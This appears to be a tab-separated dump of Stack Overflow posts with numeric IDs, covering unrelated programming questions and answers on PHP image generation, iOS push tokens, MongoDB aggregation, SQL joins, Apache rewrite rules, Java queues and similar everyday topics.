12726216	0	Saving a DIV as an Image <p>I have:</p> <pre><code>echo" &lt;div id=IwantToSaveThisWholeDivAsAnImage)&gt; &lt;div id=OneOfMultipleDivs&gt; &lt;table&gt;multiple tables rendered here &lt;/table&gt; &lt;/div&gt; &lt;/div&gt;"; </code></pre> <p>I have tried (one of many):</p> <pre><code>$html_code = " &lt;html&gt; &lt;head&gt; &lt;title&gt;Image&lt;/title&gt; &lt;style&gt; body { font-family:verdana; font-size:11px; color:black } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; my tables here &lt;/body&gt; &lt;/html&gt;"; $img = imagecreate("300", "600"); $c = imagecolorallocate($img, 0, 0, 0); $c2 = imagecolorallocate($img, 255, 255, 255); imageline($img,0,0,300,600,$c); imageline($img,300,0,0,600,$c2); $white = imagecolorallocate($img, 255, 255, 255); imagettftext($img, 9, 0, 1, 1, $white, "arial.tff", '$html_code'); header("Content-type: image/jpeg"); imagejpeg($img); </code></pre> <p>I'm not allowed to use outside libaries. Read that it can be done with GD, but I have been unsuccessful thus far. Any ideas and help would be greatly appreciated! UB</p>
22006372	0	 <p>it's better to add error recovery mechanism (if the request fails you will lose your token) and use asynchronous request (send token in background)</p> <p><strong>In your AppDelegate.m:</strong></p> <pre><code>- (void)application:(UIApplication*)application didRegisterForRemoteNotificationsWithDeviceToken:(NSData*)deviceToken { NSString * token = [NSString stringWithFormat:@"%@", deviceToken]; //Format token as you need: token = [token stringByReplacingOccurrencesOfString:@" " withString:@""]; token = [token stringByReplacingOccurrencesOfString:@"&gt;" withString:@""]; token = [token stringByReplacingOccurrencesOfString:@"&lt;" withString:@""]; [[NSUserDefaults standardUserDefaults] setObject:token forKey:@"apnsToken"]; //save token to resend it if request fails [[NSUserDefaults standardUserDefaults] setBool:NO forKey:@"apnsTokenSentSuccessfully"]; // set flag for request status [DataUpdater sendUserToken]; //send token } </code></pre> <p>To send token create new class (or use one of existing): <strong>DataUpdater.h</strong></p> <pre><code>#import &lt;Foundation/Foundation.h&gt; @interface DataUpdater : NSObject + (void)sendUserToken; @end </code></pre> <p><strong>DataUpdater.m</strong></p> <pre><code>#import "DataUpdater.h" @implementation DataUpdater + (void)sendUserToken { if ([[NSUserDefaults standardUserDefaults] boolForKey:@"apnsTokenSentSuccessfully"]) { NSLog(@"apnsTokenSentSuccessfully already"); return; } NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"http://myhost.com/filecreate.php?token=%@",[[NSUserDefaults standardUserDefaults] objectForKey:@"apnsToken"]]]; //set here your URL NSURLRequest *urlRequest = [NSURLRequest requestWithURL:url]; NSOperationQueue *queue = [[NSOperationQueue alloc] init]; [NSURLConnection sendAsynchronousRequest:urlRequest queue:queue completionHandler:^(NSURLResponse *response, NSData *data, NSError *error) { if (error == nil) { [[NSUserDefaults standardUserDefaults] setBool:YES forKey:@"apnsTokenSentSuccessfully"]; NSLog(@"Token is being sent successfully"); //you can check server response here if you need } }]; } @end </code></pre> <p>Then you can call [DataUpdater sendUserToken]; in your controllers when internet connection appears, or periodically, or in <strong>-(void)viewDidLoad or -(void)viewWillAppear</strong> methods</p> <p>My advises: 1) I use AFNetworking to send async request and check server JSON response 2) Some times it's better to use services such as Parse to work with push notifications</p>
32857191	0	C++ Help (Integer Pattern) <p>The Question :</p> <p>If the sequence of digits in X forms a substring of the sequence of digits in Y, it outputs "X is a substring of Y"; otherwise, if the sequence of digits in X forms a subsequence of the sequence of digits in Y, then it outputs "X is a subsequence of Y"; otherwise, it outputs "X is neither substring nor subsequence of Y".</p> <p><strong>DO NOT</strong> use arrays or strings in this program</p> <p>The output should be as follows </p> <hr> <p>Enter Y : 239847239 </p> <p>Enter X : 847</p> <p>X is substring of Y</p> <p>Enter Y : 239847239</p> <p>Enter X : 3923</p> <p>X is subsequence of Y</p> <p>Enter Y : 239847239</p> <p>Enter X : 489</p> <p>X is neither substring nor subsequence of Y</p> <hr> <p>And below is what I got so far... (haven't coded anything for subsequence as i was clueless)</p> <p>I know my coding is very unefficient and is only suitble to use for the above model output. Any improvements or comments how to fix this would be greatly appreciated.</p> <pre><code> #include &lt;cmath&gt; #include &lt;iostream&gt; using namespace std; int main() { cout &lt;&lt; "Enter Y: " ; int Y; cin &gt;&gt; Y; cout &lt;&lt; "Enter X: "; int X; cin &gt;&gt; X; if (Y &gt;= X){ // Below are all the possibilities of substrings up to 9 decimal places. if( X == (Y % 10)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 100)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 1000)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 10000)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 100000)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 1000000)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 10000000)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 100000000)) cout &lt;&lt; "X is substring of Y"; else if (X == (Y % 1000000000)) cout &lt;&lt; "X is substring of Y"; else cout &lt;&lt; "X is neither substring nor subsequence of Y"; } else cout &lt;&lt; "neither subsequence nor subset"; // prints out when Y is less than X. return 0; </code></pre> <p>}</p>
14221583	0	 <p>Getting location from Android device go through this :</p> <p><a href="http://stackoverflow.com/questions/12286152/get-current-location-during-app-launch/12286444#12286444">Get current location during app launch</a></p> <p><strong>Process Initiated from device :</strong> now you have coordinates now in you application so what you can do on launching of a web make an AsyncTask to hit the webservice passing these longitude and latitude and get the corresponding message as response.</p> <p><strong>Process Initiated from server:</strong> for that you need to implement a GCM push functionality in your application what server needs to do it will push a message to device and after getting the push do the same thing as mentioned in process initiated from device.</p>
16115641	0	Is an image that is display: none loaded by the browser? <p>Are these images loaded by the browser:</p> <pre><code>&lt;div style="display: none"&gt; &lt;img src="/path/to/image.jpg" alt=""&gt; &lt;/div&gt; </code></pre> <p>or </p> <pre><code>&lt;img src="/path/to/image.jpg" alt="" style="display: none;"&gt; </code></pre> <p>By "loaded by the browser" I mean, are these images loaded immediately by the browser so that they are available right away when the image is no longer displayed as none using css. Will it be taken from cache or loaded anew the moment it is no longer displayed as none?</p>
39261796	0	 <p>Using <code>$unwind</code> and then <code>$group</code> with the tag as the key will give you each tag in a separate document in your result set: </p> <pre><code>db.collection_name.aggregate([ { $unwind: "$tags" }, { $match: { "tags.type": "machine" } }, { $group: { _id: "$tags.code" } }, { $project:{ _id:false code: "$_id" } } ]); </code></pre> <p>Or, if you want them put into an array within a single document, you can use <code>$push</code> within a second <code>$group</code> stage: </p> <pre><code>db.collection_name.aggregate([ { $unwind: "$tags" }, { $match: { "tags.type": "machine" } }, { $group: { _id: "$tags.code" } }, { $group:{ _id: null, codes: {$push: "$_id"} } } ]); </code></pre> <p>Another user suggested including an initial stage of <code>{ $match: { "tags.type": "machine" } }</code>. This is a good idea if your data is likely to contain a significant number of documents that do not include <strong>"machine"</strong> tags. That way you will eliminate unnecessary processing of those documents. Your pipeline would look like this:</p> <pre><code>db.collection_name.aggregate([ { $match: { "tags.type": "machine" } }, { $unwind: "$tags" }, { $match: { "tags.type": "machine" } }, { $group: { _id: "$tags.code" } }, { $group:{ _id: null, codes: {$push: "$_id"} } } ]); </code></pre>
36894812	0	 <p>other solution for your question.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var app = angular.module("testApp", []); app.controller('testCtrl', function($scope){ $scope.data = [{ "fleetcheckitemid": "1", "checkitemdesc": "Engine oil level", "answers": [{ "fleetcheckid": "1", "checkvaluedesc": "Ok" }, { "fleetcheckid": "2", "checkvaluedesc": "Low" }, { "fleetcheckid": "3", "checkvaluedesc": "Top-Up Required" }] }, { "fleetcheckitemid": "2", "checkitemdesc": "Water level", "answers": [{ "fleetcheckid": "1", "checkvaluedesc": "Ok" }, { "fleetcheckid": "2", "checkvaluedesc": "Low" }, { "fleetcheckid": "3", "checkvaluedesc": "Top-Up Required" }] }, { "fleetcheckitemid": "3", "checkitemdesc": "Brake fluid level", "answers": [{ "fleetcheckid": "1", "checkvaluedesc": "Ok" }, { "fleetcheckid": "2", "checkvaluedesc": "Low" }, { "fleetcheckid": "3", "checkvaluedesc": "Top-Up Required" }] }]; angular.forEach($scope.data,function(value,key){ console.log(value.fleetcheckitemid); console.log(value.checkitemdesc); angular.forEach(value.answers,function(v,k){ console.log(v.fleetcheckid); console.log(v.checkvaluedesc); }); }); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js"&gt;&lt;/script&gt; &lt;div ng-app="testApp" ng-controller="testCtrl"&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
32825500	0	 <p>I find very strange the differences between the assembler results of the following code compiled without optimization and with -Os optimization.</p> <pre><code>#include &lt;stdio.h&gt; int main(){ int i; for(i=3;i&gt;2;i++); printf("%d\n",i); return 0; } </code></pre> <p>Without optimization the code results:</p> <pre><code>000000000040052d &lt;main&gt;: 40052d: 55 push %rbp 40052e: 48 89 e5 mov %rsp,%rbp 400531: 48 83 ec 10 sub $0x10,%rsp 400535: c7 45 fc 03 00 00 00 movl $0x3,-0x4(%rbp) 40053c: c7 45 fc 03 00 00 00 movl $0x3,-0x4(%rbp) 400543: eb 04 jmp 400549 &lt;main+0x1c&gt; 400545: 83 45 fc 01 addl $0x1,-0x4(%rbp) 400549: 83 7d fc 02 cmpl $0x2,-0x4(%rbp) 40054d: 7f f6 jg 400545 &lt;main+0x18&gt; 40054f: 8b 45 fc mov -0x4(%rbp),%eax 400552: 89 c6 mov %eax,%esi 400554: bf f4 05 40 00 mov $0x4005f4,%edi 400559: b8 00 00 00 00 mov $0x0,%eax 40055e: e8 ad fe ff ff callq 400410 &lt;printf@plt&gt; 400563: b8 00 00 00 00 mov $0x0,%eax 400568: c9 leaveq 400569: c3 retq </code></pre> <p>and the output is: -2147483648 (as I expect on a PC)</p> <p>With -Os the code results:</p> <pre><code>0000000000400400 &lt;main&gt;: 400400: eb fe jmp 400400 &lt;main&gt; </code></pre> <p>I think the second result is an error!!! I think the compiler should have compiled something corresponding to the code:</p> <p>printf("%d\n",-2147483648);</p>
8007594	0	 <p>If you have the <code>rsvp_event</code> permission for the user you can RSVP them to any event they have permission to join (i.e public events) See here: <a href="https://developers.facebook.com/docs/reference/api/event/#attending" rel="nofollow">https://developers.facebook.com/docs/reference/api/event/#attending</a></p>
6149810	0	Why does the iterator.hasNext not work with BlockingQueue? <p>I was trying to use the iterator methods on a BlockingQueue and discovered that hasNext() is non-blocking - i.e. it will not wait until more elements are added and will instead return false when there are no elements. </p> <p>So here are the questions :</p> <ol> <li>Is this bad design, or wrong expectation?</li> <li>Is there a way to use the blocking methods of the BLockingQueue with its parent Collection class methods (e.g. if some method were expecting a collection, can I pass a blocking queue and hope that its processing will wait until the Queue has more elements)</li> </ol> <p>Here is a sample code block </p> <pre><code>public class SomeContainer{ public static void main(String[] args){ BlockingQueue bq = new LinkedBlockingQueue(); SomeContainer h = new SomeContainer(); Producer p = new Producer(bq); Consumer c = new Consumer(bq); p.produce(); c.consume(); } static class Producer{ BlockingQueue q; public Producer(BlockingQueue q) { this.q = q; } void produce(){ new Thread(){ public void run() { for(int i=0; i&lt;10; i++){ for(int j=0;j&lt;10; j++){ q.add(i+" - "+j); } try { Thread.sleep(30000); } catch (InterruptedException e) { e.printStackTrace(); } } }; }.start(); } } static class Consumer{ BlockingQueue q; public Consumer(BlockingQueue q) { this.q = q; } void consume() { new Thread() { public void run() { Iterator itr = q.iterator(); while (itr.hasNext()) System.out.println(itr.next()); } }.start(); } } } </code></pre> <p>This Code only prints the iteration once at the most. </p>
14381642	0	 <p>How can we tell without seeing the XML? It could be both. Depends on if the 50,000 in referring to parent nodes, which most likely it is, which would mean you have 49,999 left. But with that said, who knows.</p> <p>Edit...I just realized maybe you are talking about a google sitemap. You can have 50,000 parent nodes, the inner nodes are not counted.</p>
3956421	0	 <p>Sorry if my vb is wrong as im a c# guy!! but I hope this should give you a guidance. I do something similar in c#. Good luck</p> <pre><code>Protected Sub dvPictureInsert_ItemInserting(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.DetailsViewInsertEventArgs) Handles dvPictureInsert.ItemInserting Dim cancelInsert As Boolean = False Dim imageUpload As FileUpload = CType(dvPictureInsert.FindControl("imageUpload"), FileUpload) If Not imageUpload.HasFile Then cancelInsert = True Else If Not imageUpload.FileName.ToUpper().EndsWith(".JPG") Then cancelInsert = True 'Invalid image file! Else Dim image As System.Drawing.Image = System.Drawing.Image.FromStream(imageUpload.PostedFile.InputStream) If image.Width &gt; 600 Or image.Height &gt; 700 Then cancelInsert = True End If End If End If //etc </code></pre>
300964	0	 <p>Users can totally handle grids. It's more intuitive than an edit button and a detail form.</p> <p>However, is this application a multiple user application? Could the underlying data be changed by more than one user at a time? If so, then you have some concurrency design decisions to make, and sometimes, that can be easier to solve when users can only edit one row at a time.</p> <p>It smells a little fishy though, and I suspect your programmer is making convenient excuses because it's easier for him to design read-only grids in a master / detail pattern.</p> <p>Stick with your gut instinct. :)</p>
12253719	0	Java - parsing text file - Scanner, Reader or something else? <p>I'd like to parse an UTF8 encoded text file that may contain something like this:</p> <pre><code>int 1 text " some text with \" and \\ " int list[-45,54, 435 ,-65] float list [ 4.0, 5.2,-5.2342e+4] </code></pre> <p>The numbers in the list are separated by commas. Whitespace is permitted but not required between any number and any symbol like commas and brackets here. Similarly for words and symbols, like in the case of <code>list[</code></p> <p>I've done the quoted string reading by forcing Scanner to give me single chars (setting its delimiter to an empty pattern) because I still thought it'll be useful for reading the ints and floats, but I'm not sure anymore.</p> <p>The Scanner always takes a complete token and then tries to match it. What I need is try to match as much (or as little) as possible, disregarding delimiters.</p> <p>Basically for this input</p> <pre><code>int list[-45,54, 435 ,-65] </code></pre> <p>I'd like to be able to call and get this</p> <pre><code>s.nextWord() // int s.nextWord() // list s.nextSymbol() // [ s.nextInt() // -45 s.nextSymbol() // , s.nextInt() // 54 s.nextSymbol() // , s.nextInt() // 435 s.nextSymbol() // , s.nextInt() // -65 s.nextSymbol() // ] </code></pre> <p>and so on.</p> <p>Or, if it couldn't parse doubles and other types itself, at least a method that takes a regex, returns the biggest string that matches it (or an error) and sets the stream position to just after what it matched.</p> <p>Can the Scanner somehow be used for this? Or is there another approach? I feel this must be quite a common thing to do, but I don't seem to be able to find the right tool for it.</p>
8537249	0	 <p>You can't distinguish between identical objects.</p>
3315350	0	 <p>Consider the following test case:</p> <pre><code>CREATE TABLE accounts (id int); CREATE TABLE emails (id int, account_id int, type_name varchar(10), order_id int); INSERT INTO accounts VALUES (1), (2), (3), (4); INSERT INTO emails VALUES (1, 1, 'name', 1); INSERT INTO emails VALUES (2, 1, 'no-name', 1); INSERT INTO emails VALUES (3, 2, 'name', 1); INSERT INTO emails VALUES (4, 2, 'no-name', 1); INSERT INTO emails VALUES (5, 3, 'name', 2); </code></pre> <p>Then this works as expected:</p> <pre><code>SELECT * FROM `accounts` LEFT OUTER JOIN `emails` ON emails.account_id = accounts.id WHERE (emails.type_name = 'name' AND emails.order_id = 1); +------+------+------------+-----------+----------+ | id | id | account_id | type_name | order_id | +------+------+------------+-----------+----------+ | 1 | 1 | 1 | name | 1 | | 2 | 3 | 2 | name | 1 | +------+------+------------+-----------+----------+ 2 rows in set (0.00 sec) </code></pre> <p>The problem with your second query is that it can return a <code>NULL</code> row if there is an account with no email, as is the case of account number 4: </p> <pre><code>SELECT * FROM `accounts` LEFT OUTER JOIN `emails` ON emails.account_id = accounts.id WHERE (!(emails.type_name = 'name' AND emails.order_id = 1) OR emails.id IS NULL); +------+------+------------+-----------+----------+ | id | id | account_id | type_name | order_id | +------+------+------------+-----------+----------+ | 1 | 2 | 1 | no-name | 1 | | 2 | 4 | 2 | no-name | 1 | | 3 | 5 | 3 | name | 2 | | 4 | NULL | NULL | NULL | NULL | +------+------+------------+-----------+----------+ 4 rows in set (0.01 sec) </code></pre> <p>Why wouldn't this be enough for a mutually exclusive result set with no <code>NULL</code> rows?:</p> <pre><code>SELECT * FROM `accounts` LEFT OUTER JOIN `emails` ON emails.account_id = accounts.id WHERE NOT (emails.type_name = 'name' AND emails.order_id = 1) +------+------+------------+-----------+----------+ | id | id | account_id | type_name | order_id | +------+------+------------+-----------+----------+ | 1 | 2 | 1 | no-name | 1 | | 2 | 4 | 2 | no-name | 1 | | 3 | 5 | 3 | name | 2 | +------+------+------------+-----------+----------+ 3 rows in set (0.00 sec) </code></pre>
18729798	0	SImple Drupal 7 online store (send email to clients, no online payments) <p>i want to create a simple online store using Drupal 7, and i just need to send an email for the client after choosing the item (with info about the items). no need to pay online or anything.</p> <p>is there any module that does that? if not how can i build such module?</p>
7168331	0	 <p>Solved,</p> <pre><code>public abstract class CustomViewPage&lt;T&gt; : ViewPage&lt;T&gt; where T : class { } </code></pre>
6572084	0	 <p>you can set the Username and tag of req.</p> <p>this is the example of imageview. req.</p> <pre><code>UIImageView *imgV=[[UIImageView alloc] initWithFrame:CGRectMake(0, 0, 320, 416)]; ASIHTTPRequest *req=[ASIHTTPRequest requestWithURL:[NSURL URLWithString:[self.arr objectAtIndex:i]]]; [req setUsername:[NSString stringWithFormat:@"%i",i]]; [req setUserInfo:[NSDictionary dictionaryWithObjectsAndKeys:imgV,@"imgV",nil]]; [req setDelegate:self]; [req startAsynchronous]; [imgV setContentMode:UIViewContentModeScaleToFill]; [imgV setClipsToBounds:YES]; [imgV setTag:kTagImageViewInScrollView]; [scr2 addSubview:imgV]; [scr2 setDelegate:self]; [imgV release]; imgV=nil; </code></pre> <p>and in requestFinished</p> <pre><code>- (void)requestFinished:(ASIHTTPRequest *)request { [(UIImageView*)[[request userInfo] valueForKey:@"imgV"] setImage:[UIImage imageWithData:[request responseData]]]; } </code></pre>
19443987	0	 <p>Way 1:</p> <blockquote> <ul> <li>Adv : Persistent</li> <li>Disadv : More cumbersome, you'll have to manage opening file, preserving old content, closing properly, etc.</li> </ul> </blockquote> <p>Way 2:</p> <blockquote> <ul> <li>Adv : Easy to implement</li> <li>Disadv : Not persistent</li> </ul> </blockquote> <p>Console is good to track development of App and de-bugging purposes. If you're looking at logging content from multiple users and then somehow retrieving it to further process it, then go with Way 1, else, Way 2 should suffice.</p>
19086518	0	 <p>Sorry. I got my answer for my own question.</p> <p>Here is codes</p> <pre><code>[[self tableView] setSectionIndexColor:[UIColor redColor]]; [[self tableView] setSectionIndexBackgroundColor:[UIColor clearColor]]; </code></pre>
32276005	0	 <p>After several formatting errors and incorrect / missing inline table aliases...</p> <pre><code>SELECT * FROM ( SELECT TIME FROM table1 UNION ALL SELECT TIME FROM table2 ) B WHERE TIME = ( SELECT MAX(TIME) FROM ( SELECT TIME FROM table1 union all SELECT TIME FROM table2) a ) </code></pre>
3127459	0	 <p>The parts of the rewrite rule break down as follows:</p> <ol> <li><p>RewriteRule <br /> Indicates this line will be a rewrite rule, as opposed to a rewrite condition or one of the other rewrite engine directives</p></li> <li><p>^(.*)$ <br /> Matches all characters <code>(.*)</code> from the beggining <code>^</code> to the end <code>$</code> of the request</p></li> <li><p>/index.php/$1 <br /> The request will be re-written with the data matched by <code>(.*)</code> in the previous example being substituted for <code>$1</code>.</p></li> <li><p>[L] <br /> This tells mod_rewrite that if the pattern in step 2 matches, apply this rule as the "Last" rule, and don't apply anymore.</p></li> </ol> <p>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html" rel="nofollow noreferrer">mod_rewrite documentation</a> is really comprehensive, but admittedly a lot to wade through to decode such a simple example.</p> <p>The net effect is that all requests will be routed through <code>index.php</code>, a pattern seen in many model-view-controller implementations for PHP. <code>index.php</code> can examine the requested URL segments (and potentially whether the request was made via GET or POST) and use this information to dynamically invoke a certain script, without the location of that script having to match the directory structure implied by the request URI.</p> <p>For example, <code>/users/john/files/index</code> might invoke the function <code>index('john')</code> in a file called <code>user_files.php</code> stored in a scripts directory. Without mod_rewrite, the more traditional URL would probably use an arguably less readable query string and invoke the file directly: <code>/user_files.php?action=index&amp;user=john</code>.</p>
32771927	0	Why is 857 larger than 1000 and 1001? Javascript <p>I have the following problem, my function accepts an array that contains 4 arrays, each element is a number. The functions must return the largest element of each array. </p> <pre><code>function largestOfFour(arr) { var largest = []; for (var i = 0; i &lt; arr.length; i++) { largest.push(arr[i].sort().pop()); } console.log(largest); return largest; } largestOfFour([[4, 5, 1, 3], [13, 27, 18, 26], [32, 35, 37, 39], [1000, 1001, 857, 1]]); </code></pre> <p>Results: </p> <pre><code>Array [ 5, 27, 39, 857 ] </code></pre> <p>Apparently it works, but when I tried with the last array [1000, 1001, 857, 1], in which 1000 and 1001 are larger than 857 I'm getting 857. Why does it happen?</p>
17477899	0	Sylius Instalation - ProductBundle is Missing <p>I'm new in sylius development and i'm getting trouble to install some sylius bundles. I want to build a small online store and i pretend to use SyliusProductBundle, SyliusCartBundle and the required SyliusResourcesBundle.</p> <p>How can i add them to my project?</p> <p>Just to test, i've downloaded and installed the sylius full stack and i've noticed that the ProductBundle isn't there. I've read the documentation of both ProductBundle and CartBundle. The ProductBundle was replaced?</p> <p>So, i have 2 problems:</p> <p>1 - Figure out what bundles should i use (i think Product and Cart but ProcuctBundle is aparently missing) 2 - How to install this standalone bundles via composer.</p> <p>I'm using symfony 2.3.1</p> <p>Can anyone help me? Thanks</p>
32139557	1	Pandas for large(r) datasets <p>I have a rather complex database which I deliver in CSV format to my client. The logic to arrive at that database is an intricate mix of Python processing and SQL joins done in sqlite3.</p> <p>There are ~15 source datasets ranging from a few hundreds records to as many as several million (but fairly short) records.</p> <p>Instead of having a mix of Python / sqlite3 logic, for clarity, maintainability and several other reasons I would love to move ALL logic to an efficient set of Python scripts and circumvent sqlite3 altogether.</p> <p>I understand that the answer and the path to go would be Pandas, but could you please advise if this is the right track for a rather large database like the one described above?</p>
16816114	0	 <p>Location Manager is not reliable on some phones. You may notice that if you launch google maps all of a sudden your app works. That is because Google Maps kicked the LocationManager. Which also means that there is programmatic way to kick that dude alive. So I used </p> <pre><code>HomeScreen.getLocationManager().requestLocationUpdates( LocationManager.NETWORK_PROVIDER, 0, 0, new LocationListener() { @Override public void onStatusChanged(String provider, int status, Bundle extras) { } @Override public void onProviderEnabled(String provider) { } @Override public void onProviderDisabled(String provider) { } @Override public void onLocationChanged(final Location location) { } }); </code></pre> <p>After the above code, I called what ever I needed from LocationManager and it kinda worked. If not try out the new API's <code>LocationClient</code>. This is suppose to be much better, battery, accuracy and reliability.</p>
25610938	0	 <p>The problem isn't that the plugin changes your structure (although it does add some <code>ins</code> elements, which I don't agree with), it's that the plugin doesn't fire a <code>change</code> event for the converted radio controls, and setting the <code>checked</code> property interactively doesn't appear to do so either.</p> <p>Since the plugin author doesn't publish an API for this use case, it's hard to know whether this is by design or oversight, but the source code definitely doesn't fire the event when the slider is clicked:</p> <pre><code>this.bearer.find('.slider-level').click( function(){ var radioId = $(this).attr('data-radio'); slider.bearer.find('#' + radioId).prop('checked', true); slider.setSlider(); }); </code></pre> <p>Your options, as I see them:</p> <ol> <li>Contact the API author and ask for a bug fix, or the intended way to support this case <ul> <li>Downside: Time: dependent on the author to respond</li> </ul></li> <li>Attach your "check" function to the <code>click</code> event of the <code>.slider-level</code> class, as the API does. <ul> <li>Downside: Brittle: future versions of the plugin may attach the behavior to different selectors</li> </ul></li> <li>Attach your function to the <code>click</code> event of your radio group, and catch click events on the bubble <ul> <li>Downside: Inefficient: It will check for every click in the radio control</li> </ul></li> </ol> <p>Here's a sample implementation of option 3. <strong><a href="http://jsbin.com/pisida/2/edit" rel="nofollow">DEMO</a></strong>.</p> <pre><code>$(document).ready(function () { $(".radios").radiosToSlider(); }); var makeIsRadioGroupChecked = function(selector) { var $radioGroup = $(selector); return function isRadioGroupChecked() { return $radioGroup.find(':checked').length &gt; 0; }; }; var isOptionsChecked = makeIsRadioGroupChecked('#optionsRadioGroup'); var isSizeChecked = makeIsRadioGroupChecked('#sizeRadioGroup'); var areAllGroupsChecked = function() { return isOptionsChecked() &amp;&amp; isSizeChecked(); }; var alertIfAllGroupsChecked = function() { if (areAllGroupsChecked()) { alert("all answered"); } }; $('.radios').on('click', alertIfAllGroupsChecked); </code></pre>
31538589	0	 <p>because print format is %u is unsigned int,but the c is a unsigned char. printf parse c point as a unsigned int point, program read undefined buffer.</p>
3593691	0	 <p>You can't. </p> <p>$3.4.2/2-</p> <p><code>'If T is a fundamental type, its associated sets of namespaces and classes are both empty.</code></p> <p>This means that fundamental types do not have any namespace associated with them.</p> <p>So you can't even say ::int for this reason.</p>
10211374	0	 <p>This should do the trick:</p> <pre><code>$(".myform :input").length; </code></pre>
26130773	0	Make all action methods of a controller ChildActionOnly <p>Instead of having to remember to decorate a bunch of action methods with the <code>ChildActionOnly</code> attribute, it would be convenient to be able to specify all methods in an entire controller as such.</p> <p>Trying to put the <code>ChildActionOnly</code> attribute on the controller class doesn't work (at least in my code context) because during dependency injection for the controllers, which occurs at an early phase in the request pipeline, there is no HttpContext or Request object, and the error "Request is not available in this context" is thrown.</p> <p>Could I create a <code>RouteConstraint</code> that makes the route itself enforce <code>ChildActionOnly</code>? That seems doubtful because of the same request pipeline issue--I don't know if the HttpContext would be available during the time that execution of RouteConstraints occurs. If you have ideas how to implement this, please share.</p> <p>Maybe create a unit test that uses reflection to discover all action methods of a specific controller and ensure they have the <code>ChildActionOnly</code> attribute set...</p> <p>How do I accomplish this? Could you give some starter code (doesn't have to be polished or even working, just a starting point will help).</p>
19471061	0	android how to change the app_name dynamically <p>Is it possible to change the app_name value in String.xml? not just setTitle();</p> <p>I know there is a difference of languages may have mutiple xml files but i still want to change the </p> <pre><code>&lt;string name="app_name"&gt;MyApp&lt;/string&gt; </code></pre> <p>to</p> <pre><code>&lt;string name="app_name"&gt;Good&lt;/string&gt; </code></pre> <p>Is there any way to handle this? thank you</p>
17806368	0	 <p>I got it i am using this simple format its working fine Thank you .</p> <pre><code>myTextView.setText(Html.fromHtml("&lt;h2&gt;Title&lt;/h2&gt;&lt;br&gt;&lt;p&gt;Description here&lt;/p&gt;")); </code></pre>
21291491	0	 <p>Order matters in the Augeas tree. In that case, XML node attributes need to be set before the <code>#text</code> node and the child nodes.</p> <p>So what you need is:</p> <pre><code>ins #attribute before /files/test.xml/Context/#text set /files/test.xml/Context/#attribute/allowLinking true </code></pre> <p>Note that this change is not idempotent, since <code>insert</code> is not an idempotent operation.</p> <p>On Puppet, you could use <code>onlyif</code> to make this idempotent.</p>
21841722	0	 <p>You should be able to do the following with jQuery:</p> <pre><code>$('h1').html('&lt;a href="#"&gt;' + $('h1').text() + '&lt;/a&gt;'); </code></pre> <p>or for multiple headers</p> <pre><code>$('h1').each(function() { $(this).html('&lt;a href="#"&gt;' + $(this).text() + '&lt;/a&gt;'); }); </code></pre>
15531296	0	PHP - Find/Replace Text in RTF/txt files <p>I'm running into an issue with finding specific text and replacing it with alternative text. I'm testing my code below with <code>.rtf</code> and <code>.txt</code> files only. I'm also ensuring the files are writable, from within my server. </p> <p>It's a hit and miss situation, and I'm curious if my code is wrong, or if this is just weirdness of opening and manipulating files.</p> <pre><code>&lt;?php $filelocation = '/tmp/demo.txt'; $firstname = 'John'; $lastname = 'Smith'; $output = file_get_contents($filelocation); $output = str_replace('[[FIRSTNAME]]', $firstname, $output); $output = str_replace('[[LASTNAME]]', $lastname, $output); $output = str_replace('[[TODAY]]', date('F j, Y'), $output); // rewrite file file_put_contents($filelocation, $output); ?&gt; </code></pre> <p>So, inside the <code>demo.txt</code> file I have about a full page of text with [[FIRSTNAME]], [[LASTNAME]], and [[TODAY]] scattered around.</p> <p>It's hit and miss with the find/replace. So far, [[TODAY]] is always replaced correctly, while the names aren't.</p> <p>Has anyone had this same issue? </p> <p>(on a side note, I've checked error logs and so far no PHP warning/error is returned from opening the file, nor writing it)</p>
16539025	0	 <p>If your webapps (or most of them) MUST share the same libraries with the same version (i.e. Database driver or SPI ObjectFactories) you should share them in $TOMCAT_HOME/lib. If there is no solid reason for share libs keep them in their webapp's classloader.</p>
23356395	0	 <p>Use <code>isEqualTo:</code> instead of <code>==</code>.</p>
29685062	0	 <p>Another solution is to animate the bounds change.</p> <p>There are a few ways, but here's a simple subclass of <code>UITextView</code> which does exactly this.</p> <pre><code>import Foundation import UIKit import QuartzCore class SmoothTextView : UITextView { override func actionForLayer(layer: CALayer!, forKey key: String!) -&gt; CAAction! { if key == "bounds" { let x = super.actionForLayer(layer, forKey: "backgroundColor") if let action:CAAnimation = x as? CAAnimation { let transition = CATransition() transition.type = kCATransitionFade transition.beginTime = action.beginTime transition.duration = action.duration transition.speed = action.speed transition.timeOffset = action.timeOffset transition.repeatCount = action.repeatCount transition.repeatDuration = action.repeatDuration transition.autoreverses = action.autoreverses transition.fillMode = action.fillMode transition.timingFunction = action.timingFunction transition.delegate = action.delegate return transition } } return super.actionForLayer(layer, forKey: key) } } </code></pre> <p>This as of iOS 8.</p> <p>As an extra tweak, you might want to configure the text of your text view instance by adjusting the text container by zeroing all padding or insets:</p> <pre><code>textView.textContainer.lineFragmentPadding = 0.0 textView.textContainerInset = UIEdgeInsetsZero </code></pre>
10273202	0	 <p>Be sure you are using the same name (case-Sensitive) in Birds Detail View Controller -> Identity Inspector -> Class. "name" with the code in birdsDetailViewController.h: "@interface "name" : UITableViewControlle"</p>
